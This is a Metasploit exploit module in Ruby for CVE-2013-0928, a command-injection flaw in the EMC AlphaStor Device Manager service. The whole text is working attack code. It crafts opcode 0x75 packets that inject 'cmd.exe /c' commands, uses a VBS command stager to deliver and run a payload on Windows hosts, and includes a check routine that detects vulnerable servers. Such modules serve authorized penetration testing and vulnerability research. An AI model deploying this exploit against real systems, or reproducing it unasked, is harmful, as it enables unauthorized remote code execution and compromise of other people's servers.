EMC AlphaStor Device Manager Opcode 0x75 Command Injection

                                                require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection',
      'Description'     => %q{
        This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75
        command, the process does not properly filter user supplied input allowing for arbitrary
        command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116
        with Windows 2003 SP2 and Windows 2008 R2.
      },
      'Author'          =>
        [
          'Anyway <Aniway.Anyway[at]gmail.com>',               # Vulnerability Discovery
          'Preston Thornburn <prestonthornburg[at]gmail.com>', # msf module
          'Mohsan Farid <faridms[at]gmail.com>',               # msf module
          'Brent Morris <inkrypto[at]gmail.com>',              # msf module
          'juan vazquez'                                       # convert aux module into exploit
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['CVE', '2013-0928'],
          ['ZDI', '13-033']
        ],
      'Platform'        => 'win',
      'Arch'            => ARCH_X86,
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'Targets'  =>
          [
            [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ]
          ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Jan 18 2013'))
 
    register_options(
      [
        Opt::RPORT(3000)
      ], self.class )
  end
 
  def check
    packet = "\x75~ mminfo & #{rand_text_alpha(512)}"
    res = send_packet(packet)
    if res && res =~ /Could not fork command/
      return Exploit::CheckCode::Detected
    end
 
    Exploit::CheckCode::Unknown
  end
 
  def exploit
    execute_cmdstager({ :linemax => 487 })
  end
 
  def execute_command(cmd, opts)
    padding = rand_text_alpha_upper(489 - cmd.length)
    packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}"# #{padding}"
    connect
    sock.put(packet)
    begin
      sock.get_once
    rescue EOFError
      fail_with(Failure::Unknown, "Failed to deploy CMD Stager")
    end
    disconnect
  end
 
  def execute_cmdstager_begin(opts)
    if flavor =~ /vbs/ && self.decoder =~ /vbs_b64/
      cmd_list.each do |cmd|
        cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")")
      end
    end
  end
 
  def send_packet(packet)
    connect
 
    sock.put(packet)
    begin
      meta_data = sock.get_once(8)
    rescue EOFError
      meta_data = nil
    end
 
    unless meta_data
      disconnect
      return nil
    end
 
    code, length = meta_data.unpack("N*")
 
    unless code == 1
      disconnect
      return nil
    end
 
    begin
      data = sock.get_once(length)
    rescue EOFError
      data = nil
    ensure
      disconnect
    end
 
    data
  end
 
end